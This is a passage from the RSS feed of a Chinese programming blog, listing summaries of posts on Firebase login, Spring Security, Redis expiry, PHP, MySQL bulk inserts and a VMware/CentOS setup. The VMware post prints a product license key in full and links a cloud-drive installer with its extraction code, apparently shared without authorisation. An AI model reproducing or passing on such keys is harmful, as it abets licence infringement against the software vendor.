(ObjectSelected, ImageReduced, tuple[Index], &#39;train_ocr&#39;+&#39;.</description>
    </item>
    <item>
      <title>实现谷歌第三方登录步骤</title>
      <link>https://bchobby.github.io/posts/44619c7cf85e80474c8bdf1b2d3234f7/</link>
      <pubDate>Mon, 24 Apr 2023 11:46:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44619c7cf85e80474c8bdf1b2d3234f7/</guid>
      <description>前言 主要是通过Firebase实现谷歌登录&#xA;首先需要有一个谷歌账号登录到Firebase&#xA;文档地址https://firebase.google.com/docs/auth/web/google-signin?hl=zh-cn&#xA;按照文档上的步骤&#xA;第一步吧项目添加到Firebase中 添加成功之后会生成一段代码 放到自己项目的main.js文件中 这样就可以让项目和Firebase建立联系&#xA;// Import the functions you need from the SDKs you need import { initializeApp } from &#34;firebase/app&#34;; import { getAnalytics } from &#34;firebase/analytics&#34;; // TODO: Add SDKs for Firebase products that you want to use // https://firebase.google.com/docs/web/setup#available-libraries // Your web app&#39;s Firebase configuration // For Firebase JS SDK v7.20.0 and later, measurementId is optional const firebaseConfig = { apiKey: &#34;xxx&#34;, authDomain: &#34;</description>
    </item>
    <item>
      <title>React 一个实现打字机效果的库</title>
      <link>https://bchobby.github.io/posts/ed4ce515c1489e8720551fa6feb5e3c4/</link>
      <pubDate>Mon, 24 Apr 2023 11:13:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed4ce515c1489e8720551fa6feb5e3c4/</guid>
      <description>npm install react-typewriter-hook 使用方法：&#xA;import React from &#39;react&#39; import useTypewriter from &#39;react-typewriter-hook&#39; const Note = () =&amp;gt; { const string = &#39;我们在这个世界上只能生活几十年，虽然我们为不能活得更久而感到遗憾，但我已经非常幸运，能够得到这么多东西了。整个宇宙只不过是一堆旋转的原子，组成各种各样不同的东西，然后又消散。大多数原子，根本没有过生命。大多数原子没有成为人，没有谈过恋爱，没有看过落日，没有吃过冰淇淋。我们非常幸运，能够作为一个人来到这个世界上&#39; const talk = useTypewriter(string) return &amp;lt;div&amp;gt;{talk}&amp;lt;/div&amp;gt; } export default Note 时小记，终有成。</description>
    </item>
    <item>
      <title>springSecurity2的自定义账号密码认证流程&#43;多个参数的自定义流程</title>
      <link>https://bchobby.github.io/posts/3a14fd787255f84e7351f55980e1f258/</link>
      <pubDate>Mon, 24 Apr 2023 10:57:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a14fd787255f84e7351f55980e1f258/</guid>
      <description>声明，本文章是学习 b站三更草堂的视频的时候所写 依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--security 的依赖...........开始--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;!--引入依赖之后，重启项目 访问接口就变了 需要登录，用户名是 user 密码看控制台 当然后期都可以修改--&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--security 的依赖...........结束--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.3.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--jwt 的 java依赖 简称 jjwt.......开始--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.jsonwebtoken&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jjwt&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.9.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--jwt 的 java依赖 简称 jjwt.......结束--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.fastjson2&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;fastjson2&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.0.25&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-redis&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 配置 spring: application: name: demo redis: host: localhost port: 6379 datasource: url: jdbc:mysql://localhost:3306/cloud_user?</description>
    </item>
    <item>
      <title>10 款常用的 API Mock 服务器工具</title>
      <link>https://bchobby.github.io/posts/8851fd8a1dcf88a9b5ef9b74e5243164/</link>
      <pubDate>Mon, 24 Apr 2023 10:50:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8851fd8a1dcf88a9b5ef9b74e5243164/</guid>
      <description>市面上常见的十款工具 API Mock 零基础教程 你是否曾因为后端接口还没开发完成而苦恼，而你作为前端开发人员却迫不及待地想要开始写代码？API Mock 服务器就是你的救星！它们可以快速搭建一个虚拟的后端环境，使你可以立即开始测试和开发。这篇文章将介绍 10 款 API Mock 服务器工具，并以轻松幽默的语气向你展示如何快速上手使用它们。&#xA;1. Nock 介绍 Nock 是一个基于 Node.js 的 HTTP 服务器模拟桩库，它可以拦截和记录 HTTP 请求，并根据预设规则返回模拟的响应。它允许你使用 JavaScript 代码编写自定义逻辑。&#xA;应用场景 适合在 Node.js 环境中进行单元测试和集成测试，模拟复杂的 API 请求和响应。&#xA;快速上手 使用 npm 或 yarn 安装 nock： npm install nock 创建一个简单的 nock 拦截示例： const nock = require(&#39;nock&#39;); nock(&#39;http://api.example.com&#39;) .get(&#39;/users&#39;) .reply(200, [{ id: 1, name: &#39;Alice&#39; }, { id: 2, name: &#39;Bob&#39; }]);``` ### 常用特性 - 支持拦截各种 HTTP 方法（GET、POST、PUT 等） - 可以设置请求头、查询参数等匹配条件 - 支持动态生成响应内容 ### 注意事项 - 使用 Nock 时，需要确保你的代码能够处理异步操作 - 请确保每次测试后清除所有拦截器，以避免测试用例之间的干扰 ### 原理概述 Nock 通过拦截 Node.</description>
    </item>
    <item>
      <title>Vue -el-table表格动态控制表头动态展示数据（控制每一列展示）</title>
      <link>https://bchobby.github.io/posts/622f842c9afce7fc1566a3c9f411d8b8/</link>
      <pubDate>Mon, 24 Apr 2023 09:42:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/622f842c9afce7fc1566a3c9f411d8b8/</guid>
      <description>前言 最近在实际开发中我们遇到一个需求是用户自己控制键值来生成对应表格数据。&#xA;换个思路就是我们还是正常查询数据，需要一个开关页面来动态改变表格展示每一列。&#xA;我们需要一个开关页面，里面有多选，确定重置取消，确定时把选中数据传递给父组件，动态数据for循环&#xA;最好是以封装成组件的形式，可以使代码减少，别的地方也可以用。组件全局注册直接用（主页文章有）&#xA;细节 1.可以直接让后端以分页形式把所有需要的字段都返来，最好可以加一个序号。&#xA;2.在打开子组件的时候，把默认选中的字段表头重新赋值一次，因为直接在data里面写死的话，子组件侦听器侦听不到，&#xA;3.在父组件页面打开的时候可以在month展示一次默认选中数据表格，用户体验较好。&#xA;代码如下-可直接复制&#xA;父组件&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;content&#34;&amp;gt; &amp;lt;!-- 标题 --&amp;gt; &amp;lt;div class=&#34;title&#34;&amp;gt;维保统计报表&amp;lt;/div&amp;gt; &amp;lt;!-- 搜索 --&amp;gt; &amp;lt;el-form class=&#34;search&#34; :inline=&#34;true&#34; :model=&#34;pageInfo&#34; size=&#34;mini&#34;&amp;gt; &amp;lt;el-form-item label=&#34;工单类型:&#34;&amp;gt; &amp;lt;el-input v-model=&#34;pageInfo.data&#34; placeholder=&#34;&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;维保小组:&#34;&amp;gt; &amp;lt;el-input v-model=&#34;pageInfo.data&#34; placeholder=&#34;&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;完成情况:&#34;&amp;gt; &amp;lt;el-input v-model=&#34;pageInfo.data&#34; placeholder=&#34;&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;生成时间:&#34;&amp;gt; &amp;lt;el-input v-model=&#34;pageInfo.data&#34; placeholder=&#34;&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item&amp;gt; &amp;lt;el-button @click=&#34;onSubmit&#34; icon=&#34;el-icon-search&#34; type=&#34;primary&#34; &amp;gt;查询&amp;lt;/el-button &amp;gt; &amp;lt;el-button @click=&#34;showSetting&#34; icon=&#34;el-icon-setting&#34; type=&#34;primary&#34; &amp;gt;配置表单&amp;lt;/el-button &amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;!-- 表格数据 --&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>VMware虚拟机安装及环境配置</title>
      <link>https://bchobby.github.io/posts/7956d78f196bc519cd12af8e8d979a79/</link>
      <pubDate>Mon, 24 Apr 2023 08:30:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7956d78f196bc519cd12af8e8d979a79/</guid>
      <description>VMware安装密钥、CentOS镜像安装、虚拟机环境配置 一、VMware安装二、镜像文件下载三、虚拟机环境配置 一、VMware安装 压缩包资源：链接：链接：https://pan.baidu.com/s/1VinrDesG9xuG9r_nOPV13w&#xA;提取码：0706&#xA;1.首先提前在除C盘的任意一个盘符里新建一个VMware文件夹，并将安装包压缩到其文件夹下，解压完的文件夹如下。&#xA;2.双击安装包，则会出现安装的界面，点击 “下一步”。&#xA;3.勾选我接受，然后点击下一步。&#xA;4.把安装路径修改到创建好的文件夹，勾选这俩个，点击下一步&#xA;5.勾选这俩个，点击下一步。&#xA;6.这边建议是取消勾选这俩个，点击下一步。&#xA;7.点击安装。&#xA;8.等待其安装完成，略等几分钟~。&#xA;9.安装完成后，会弹出这个页面，点击许可证。&#xA;输入密钥(ZF3R0-FHED2-M80TY-8QYGC-NPKYF)。&#xA;10.设置完成之后，直接双击桌面VMware图标，就安装完成啦。&#xA;二、镜像文件下载 11.首先进入CnetOS官网：https://www.centos.org/&#xA;12.在下载界面点击右边的“Older Versions”会直接跳转到下方。&#xA;13.再点击链接“then click here”进入新界面。&#xA;14.往下滑动到“Arcjived Versions”部分，点击表格CnetOS Linux7中7.3版的存档树链接，跳转到存档树页面。&#xA;15.点击进入“isos/”→“x86_64/”，可看到CentOS7.3的镜像文件，点击下载，如出现报错页面，下载不了可以私聊我发压缩包。&#xA;三、虚拟机环境配置 16.点击创建新的虚拟机。&#xA;(新手推荐)选择典型，安装步骤比较简单，选择自定义可以设置更多的高级设置。&#xA;首先选择安装程序光盘印象文件，然后点击浏览，找到下载好的镜像文件，最后点击下一步。&#xA;输入Linux的用户名(必须是小写字母)和密码(简单为好)之后，点击下一步。&#xA;虚拟机名称使用默认的就行，位置是文件存储的位置，默认是C盘，我们改成自己需要存储的盘符即可，文件夹名字最好是Centos，方便后续查找。&#xA;默认的磁盘大小是20GB，为了保证后续使用，可以调整为40GB(看个人需要)。&#xA;如果需要修改配置信息，可以点击自定义硬件，进行修改，并勾选创建后开启，点击完成，&#xA;点击完成后，即开启了CentOS系统的安装，左上角就会出现刚刚创建的虚拟机，此时虚拟机正在创建。&#xA;我们最开始选择的是典型，虚拟机现在是自动化的进行安装，一般等待10~20分钟。&#xA;可以看到我们刚刚创建的操作系统，已经启动成功了，显示我们刚刚创建的用户ls。&#xA;点击用户ls，输入密码，点击sign in。&#xA;看到这个界面，就证明操作系统已经安装完成啦。&#xA;有问题私聊，多指点！谢谢大家啦！！！&#xA;————————————————</description>
    </item>
    <item>
      <title>jmeter压测结果分析</title>
      <link>https://bchobby.github.io/posts/7371591ae1a492248e69c04fe8828d0b/</link>
      <pubDate>Mon, 24 Apr 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7371591ae1a492248e69c04fe8828d0b/</guid>
      <description>jmeter结果查看主要在结果树和聚合报告，实际在做压测过程中不做可视化操作，用命令行执行，再查看测试报告。&#xA;python在本地起服务&#xA;cmd打开命令框执行语句：python -m http.server 9090（端口号，可自定义）页面进入：http://localhost（或本机ip地址）：9090 可以先在可视化界面配置相关信息&#xA;添加http请求，并保存&#xA;执行后，查看聚合报告&#xA;聚合报告参数：&#xA;Label：http请求的名称&#xA;Samples/样本：请求数。表示这次测试中一共发出了多少个请求，如果模拟10个用户，每个用户执行10次，总数就是100&#xA;Average/平均值：平均响应时间。默认情况下是单个 Request 的平均响应时间，当使用了 Transaction Controller 时，以Transaction 为单位显示平均响应时间&#xA;Median/中位数：中位数，即50％ 用户的响应时间&#xA;90%/95%/99% Line：90%/95%/99% 用户的响应时间&#xA;Min/最小值：最小响应时间&#xA;Max/最大值：最大响应时间&#xA;Error%/异常：错误率。错误请求数/请求总数&#xA;Throughput/吞吐量：吞吐量。默认情况下表示每秒完成的请求数&#xA;Received/Send KB/Sec：每秒从服务器端接收/发送的数据量&#xA;其中标黄的为重点关注参数。&#xA;命令行执行并保存测试报告：&#xA;jmeter.bat -n -t report_analysis.jmx -l report.jtl 查看测试报告：&#xA;在cmd中输入命令：&#xA;jmeter.bat -g D:\report.jtl -o output 执行成功后，在bin目录下生成output文件夹，打开文件夹，查看index.html文件&#xA;服务器资源分析：&#xA;1.压测时多观察服务器资源使用情况，并发量从少到多，依次增加，避免一次性压测量太大导致系统崩溃&#xA;2.错误率提高后，查看服务器资源占用情况，可能存在性能瓶颈&#xA;3. 随着负载的增加，吞吐量应该增加，若吞吐量增加速度放缓，则表示系统可能已经达到了性能瓶颈&#xA;4. 关注平均响应时间，若超过预期，则需要查找原因并优化</description>
    </item>
    <item>
      <title>Redis(十九) -- 过期删除策略和内存淘汰策略</title>
      <link>https://bchobby.github.io/posts/b867e731ece9b915607abc05f9a64de1/</link>
      <pubDate>Mon, 24 Apr 2023 00:29:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b867e731ece9b915607abc05f9a64de1/</guid>
      <description>1. 过期删除策略 1.1 redis支持三种过期删除策略： 定时删除：在设置键的过期时间的同时，创建一个定时器，让定时器在键的过期时间来临时，立即执行对键的删除操作惰性删除：放任键过期不管，但是每次从键空间中获取键时，都检查取得的键是否过期，如果过期的话，就删除该键；如果没有过期，就返回该键定期删除： 每隔一段时间，程序就对数据库进行一次检查，删除里面的过期键。至于要删除多个过期键，以及要检查多少个数据库，则由算法决定 第一种和第三种为主动删除策略，而第二种则为被动删除策略&#xA;1.1.1 定时删除 优点：对内存是最友好的：通过使用定时器，定时删除策略可以保证过期键会尽可能快地被删除，并释放过期键所占用的内存缺点：对CPU时间是最不友好的：在过期键比较多的情况下，删除过期键这一行为可能会占用相当一部分CPU时间。创建一个定时器需要用到Redis服务器中的时间事件，而当前时间事件的实现方式——无序列表，查找一个事件的时间复杂度为O(N)——并不能高效地处理大量时间事件 1.1.2 惰性删除 优点：对CPU时间来说是最友好的：程序只会在取出键时才对键进行过期检查，这可以保证删除过期键的操作只会在非做不可的情况下进行，并且删除的目标仅限于当前处理的键，这个策略不会再删除其他无关的过期键上花费任何CPU时间缺点：它对内存是最不友好的：如果一个键已经过期，而这个键又仍然保留在数据库中，那么只要这个过期键不被删除，它所占用的内存就不会释放 1.1.3 定期删除 定期删除策略是前两种策略的一种整合和折中：&#xA;定期删除策略每隔一段时间执行一次删除过期键操作，并通过限制删除操作执行的时长和频率来减少删除操作对CPU时间的影响通过定期删除过期键，定期删除策略有效地减少了因为过期键而带来的内存浪费 定期删除策略的难点是确定删除操作执行的时长和频率：&#xA;如果删除操作执行得太频繁，或者执行的时间太长，定期删除策略就会退化成定时删除策略，以至于将CPU时间过多地消耗在删除过期键上面如果删除操作执行得太少，或者执行的时间太短，定期删除策略又会和惰性删除策略一样，出现浪费内存的情况 1.2 Redis使用的过期删除策略 Redis服务器实际使用的是惰性删除和定期删除两种策略：通过配合使用这两种策略，服务器可以很好地在合理使用CPU时间和避免浪费内存空间之间取得平衡&#xA;1.2.1 惰性删除策略的实现 过期键的惰性删除策略由db.c/expireIfNeeded函数实现，所有读写数据库的Redis命令在执行之前都会调用expireIfNeeded函数对输入键进行检查：&#xA;如果输入键已经过期，那么expireIfNeeded函数将输入键从数据库中删除如果输入键未过期，那么expireIfNeeded函数不做动作 1.2.2 定期删除策略的实现 过期键的定期删除策略由redis.c/activeExpireCycle函数实现，每当Redis的服务器周期性操作redis.c/serverCron函数执行时，activeExpireCycle函数就会被调用，它在规定的时间内，分多次遍历服务器中的各个数据库，从数据库的expires字典中随机检查一部分键的过期时间，并删除其中的过期键&#xA;activeExpireCycle函数的工作模式：&#xA;函数每次运行时，都会从一定数量的数据库中取出一定数量的随机键进行检查，并删除其中的过期键有一个全局变量current_db会记录当前activeExpireCycle函数检查的进度，并在下一次activeExpireCycle函数调用时，接着上一次的进度进行处理随着activeExpireCycle函数的不断执行，服务器中的所有数据库都会被检查一遍，这时函数将current_db变量重置为0，然后再次开始新一轮的检察工作 1.2.3 这样还存在的问题： 如果某个key过期后，定期删除没删除成功，然后也没再次去请求key，也就是说惰性删除也没生效。这时，如果大量过期的key堆积在内存中，redis的内存会越来越高，导致redis的内存块耗尽。那么就应该采用内存淘汰机制。&#xA;1.3 RDB对过期键的处理 1.3.1 生成RDB文件 在执行SAVE命令或者BGSAVE命令创建一个新的RDB文件时，程序会对数据库中的键进行检查，已过期的键不会被保存到新创建的RDB文件中&#xA;1.3.2 载入RDB文件 在启动Redis服务器时，如果服务器开启了RDB功能，那么服务器将对RDB文件进行载入：&#xA;如果服务器以主服务器模式运行，那么在载入RDB文件时，程序会对文件中保存的键进行检查，未过期的键会被载入到数据库中，而过期键则会被忽略，所以过期键对载入RDB文件的主服务器不会造成影响如果服务器以从服务器模式运行，那么在载入RDB文件时，文件中保存的所有键，不论是否过期，都会被载入到数据库中。不过，因为主从服务器在进行数据同步的时候，从服务器的数据库就会被清空，所以一般来说，过期键在载入RDB文件的从服务器也不会造成影响 1.4 AOF对过期键的处理 1.4.1 AOF文件写入 当服务器以AOF持久化模式运行时，如果数据库中的某个键已经过期，但它还没有被惰性删除或者定期删除，那么AOF文件不会因为这个过期键而产生任何影响&#xA;当过期键被惰性删除或者定期删除之后，程序会向AOF文件追加一个DEL命令，来显式地记录该键已被删除&#xA;1.4.2 AOF重写 和生成RDB文件时类似，在执行AOF重写的过程中，程序会对数据库中的键进行检查，已过期的键不会被保存到重写后的AOF文件中&#xA;1.5 复制对过期键的处理 当服务器运行在复制模式下时，从服务器的过期键删除动作由主服务器控制：&#xA;主服务器在删除一个过期键之后，会显示地向所有从服务器发送一个DEL命令，告知从服务器删除这个过期键从服务器在执行客户端发送的读命令时，即使碰到过期键也不会将过期键删除，而是继续处理未过期的键一样来处理过期键从服务器只有在接到主服务器发来的DEL命令之后，才会删除过期键 通过由主服务器来控制从服务器统一地删除过期键，可以保证主从服务器数据的一致性，也正是因为这个原因，当一个过期键仍然存在于主服务器的数据库时，这个过期键在从服务器里的复制品也会继续存在&#xA;2. 内存淘汰策略 在使用Redis时，我们一般会为Redis的缓存空间设置一个大小，不会让数据无限制地放入Redis缓存中。可以使用下面命令来设定缓存的大小，比如设置为4GB：&#xA;CONFIG SET maxmemory 4gb 既然 Redis 设置了缓存的容量大小，那缓存被写满就是不可避免的。当缓存被写满时，我们需要考虑下面两个问题：决定淘汰哪些数据，如何处理那些被淘汰的数据。&#xA;2.1 redis提供的缓存淘汰策略 Redis共提供了8中缓存淘汰策略，其中 volatile-lfu 和 allkeys-lfu 是Redis 4.</description>
    </item>
    <item>
      <title>css中overflow、overflow-x、overflow-y使用</title>
      <link>https://bchobby.github.io/posts/5bd3d4f71f5c27e9443ba6fe3cb1a5e6/</link>
      <pubDate>Sun, 23 Apr 2023 23:26:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bd3d4f71f5c27e9443ba6fe3cb1a5e6/</guid>
      <description>overflow：当内容超出容器时的处理；&#xA;值：（1）visible：默认值，如果超出为显示；&#xA;（2）auto：如果超出就出现滚动条，没有超出则不出现滚动条这样就可以出现滚动条；&#xA;（3）hidden：如果超出就隐藏；&#xA;（4）scroll：如果超出就内容会被修剪，但是浏览器会显示滚动条以便查看其余的内容；&#xA;overflow-x：当内容x轴超出容器的宽时的处理；&#xA;值：（1）visible：默认值，如果超出为显示；&#xA;（2）auto：如果超出就出现滚动条，没有超出则不出现滚动条这样就可以出现滚动条；&#xA;（3）hidden：如果超出就隐藏；&#xA;（4）scroll：如果超出就内容会被修剪，但是浏览器会显示滚动条以便查看其余的内容；&#xA;overflow-y：当内容y轴超出容器的高时的处理；&#xA;值：（1）visible：默认值，如果超出为显示；&#xA;（2）auto：如果超出就出现滚动条，没有超出则不出现滚动条这样就可以出现滚动条；&#xA;（3）hidden：如果超出就隐藏；&#xA;（4）scroll：如果超出就内容会被修剪，但是浏览器会显示滚动条以便查看其余的内容；</description>
    </item>
    <item>
      <title>本地建站出现：SSL certificate problem: unable to get local issuer certificate</title>
      <link>https://bchobby.github.io/posts/c5bd44d5db6a20a56ecb92d6d0425a2e/</link>
      <pubDate>Sun, 23 Apr 2023 22:59:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5bd44d5db6a20a56ecb92d6d0425a2e/</guid>
      <description>这个错误提示表明 SSL 证书有问题，可能是本地环境的配置出了些问题。建议您按照以下步骤排查：&#xA;确认您使用的 SSL 证书是否为有效、受信任的证书。如果您在本地测试站点时使用的是自签名证书，可能会导致此类问题。确认您正在使用的 PHP 版本是否支持 SSL/TLS 加密。可以检查 php.ini 配置文件中的 curl.cainfo 和 openssl.cafile 配置项是否正确设置为您系统中的可用 CA 根证书文件路径。确认是否存在防火墙等网络安全设备拦截了您的请求。 如果您使用的操作系统是 Windows，可以尝试从如下地址下载并安装可信赖的 CA 根证书列表：https://curl.se/ca/cacert.pem&#xA;安装完成后，可以在 php.ini 中添加如下一行代码：&#xA;curl.cainfo = &#34;C:/path/to/cacert.pem&#34; 其中 C:/path/to/cacert.pem 是您所安装的根证书文件的路径。&#xA;然后重启Web服务，并尝试访问HTTPS网站查看是否还出现该问题。</description>
    </item>
    <item>
      <title>【PHP教程（三）】PHP包管理、Markdown库和Excel解析库</title>
      <link>https://bchobby.github.io/posts/a56683599a4bbf215911542ac0b32292/</link>
      <pubDate>Sun, 23 Apr 2023 21:05:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a56683599a4bbf215911542ac0b32292/</guid>
      <description>1. 指定版本php的安装和卸载&#xA;2. php的包管理&#xA;3. php包管理工具Composer安装&#xA;4. Composer安装Markdown库&#xA;5. Composer安装PhpOffice库&#xA;6. php和python的一些区别&#xA;1.指定版本php的安装和卸载 Remi 存储库是一个第三方的软件源，它提供了一系列针对 CentOS、Red Hat Enterprise Linux（RHEL）和 Fedora 等系统的软件包。Remi 存储库的目的是提供最新版本的各种软件包，包括 PHP、MySQL、Redis、Nginx 等。&#xA;对于 PHP 开发者来说，Remi 存储库是一个非常有用的资源，因为它提供了最新版本的 PHP 和许多常用的 PHP 扩展和工具。使用 Remi 存储库，您可以轻松地升级到最新版本的 PHP，而无需手动编译和安装。此外，Remi 存储库还提供了不同版本的 PHP，您可以选择与您的应用程序兼容的版本进行安装。&#xA;1. 安装 EPEL 存储库。这个存储库包含了 PHP 8.0 所需的依赖项：&#xA;dnf install epel-release 2. 安装 Remi 存储库。这个存储库包含了 PHP 8.0 的安装包：&#xA;dnf install https://rpms.remirepo.net/enterprise/remi-release-8.rpm 3. 安装 yum-utils 工具：&#xA;dnf install yum-utils 4. 启用 PHP 8.0 模块：</description>
    </item>
    <item>
      <title>定义一个学生类（Student）：私有成员属性（姓名、年龄、分数）、成员方法（无参构造、有参构造、析构函数、show函数）再定义一个党员类（Party）：私有成员属性（党组织活动，</title>
      <link>https://bchobby.github.io/posts/220cb044ed89c139d101fe9342fedd17/</link>
      <pubDate>Sun, 23 Apr 2023 19:09:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/220cb044ed89c139d101fe9342fedd17/</guid>
      <description>#include &amp;lt;iostream&amp;gt; using namespace std; //学生类 class Stu { private: string name;//姓名 int age;//年龄 double score;//成绩 public: //无参构造 Stu(){cout&amp;lt;&amp;lt;&#34;无参构造&#34;&amp;lt;&amp;lt;endl;} //有参构造 Stu(string n,int a,double s):name(n),age(a),score(s){cout&amp;lt;&amp;lt;&#34;有参函数&#34;&amp;lt;&amp;lt;endl;} //析构函数 ~Stu(){cout&amp;lt;&amp;lt;&#34;析构函数&#34;&amp;lt;&amp;lt;endl;} //show函数 void show() { cout&amp;lt;&amp;lt;&#34;name=&#34;&amp;lt;&amp;lt;name&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;age=&#34;&amp;lt;&amp;lt;age&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;score=&#34;&amp;lt;&amp;lt;score&amp;lt;&amp;lt;endl; } }; //党员类 class Party { private: string activi;//活动 string orga;//组织 public: //无参 Party(){cout&amp;lt;&amp;lt;&#34;无参构造&#34;&amp;lt;&amp;lt;endl;} //有参 Party(string a,string o):activi(a),orga(o){cout&amp;lt;&amp;lt;&#34;有参构造&#34;&amp;lt;&amp;lt;endl;} //析构函数 ~Party(){cout&amp;lt;&amp;lt;&#34;析构函数&#34;&amp;lt;&amp;lt;endl;} //show函数 void show() { cout&amp;lt;&amp;lt;&#34;activi=&#34;&amp;lt;&amp;lt;activi&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;orga=&#34;&amp;lt;&amp;lt;orga&amp;lt;&amp;lt;endl; } }; //干部类 class Leader : public Stu,public Party { private: string work;//职位 public: //无参 Leader(){cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>Mysql大数据批量插入方法</title>
      <link>https://bchobby.github.io/posts/c82c85119cff5f45508df187fb89eaa4/</link>
      <pubDate>Sun, 23 Apr 2023 16:58:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c82c85119cff5f45508df187fb89eaa4/</guid>
      <description>MySQL是当前最流行的关系型数据库之一，大数据批量插入是MySQL中常用的操作之一。在处理大量数据时，如果一条一条地插入会极大地影响效率，因此批量插入是一个更好的选择，可以大大提高数据的处理速度。下面介绍几种MySQL大数据批量插入的方法。&#xA;使用LOAD DATA INFILE语句 LOAD DATA INFILE语句是MySQL中实现大数据批量插入的一种高效方式。该语句可以通过将文本文件中的数据加载到数据库表中，从而达到批量插入的目的。该语句的语法如下：&#xA;LOAD DATA [LOCAL] INFILE &#39;file_name&#39; [REPLACE|IGNORE] INTO TABLE table_name [CHARACTER SET charset_name] [FIELD TERMINATED BY &#39;delimiter&#39;] [LINES TERMINATED BY &#39;delimiter&#39;] [IGNORE number LINES] [(column1, column2, ..., column n)]; 其中，LOCAL为可选参数，表示将文本文件加载到本地MySQL客户端；file_name是文本文件的路径和名称；table_name是待插入数据的目标表；replace和ignore是可选参数，表示当目标表中存在同样的记录时，如何处理；charset_name是可选参数，指定文本文件的编码；delimiter是可选参数，指定字段和行的分隔符；number是可选参数，指定跳过文件的前几行；column1到column n表示待插入数据的字段名。&#xA;使用LOAD DATA INFILE语句进行批量插入，需要先将数据存储为文本文件，然后再通过LOAD DATA INFILE语句加载到数据库表中。以下是一个示例：&#xA;LOAD DATA INFILE &#39;/var/lib/mysql-files/data.txt&#39; INTO TABLE mytable FIELDS TERMINATED BY &#39;,&#39; LINES TERMINATED BY &#39;\n&#39; (col1, col2, col3); 使用INSERT INTO VALUES语句 使用INSERT INTO VALUES语句是另一种常用的MySQL大数据批量插入的方式。该语句的语法如下：&#xA;INSERT INTO table_name (column1, column2, .</description>
    </item>
    <item>
      <title>centos7安装mysql8.0 图文教程（本地安装）</title>
      <link>https://bchobby.github.io/posts/865f880e4c1fc0b5c5d2b2ef5f5f9446/</link>
      <pubDate>Sun, 23 Apr 2023 16:34:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/865f880e4c1fc0b5c5d2b2ef5f5f9446/</guid>
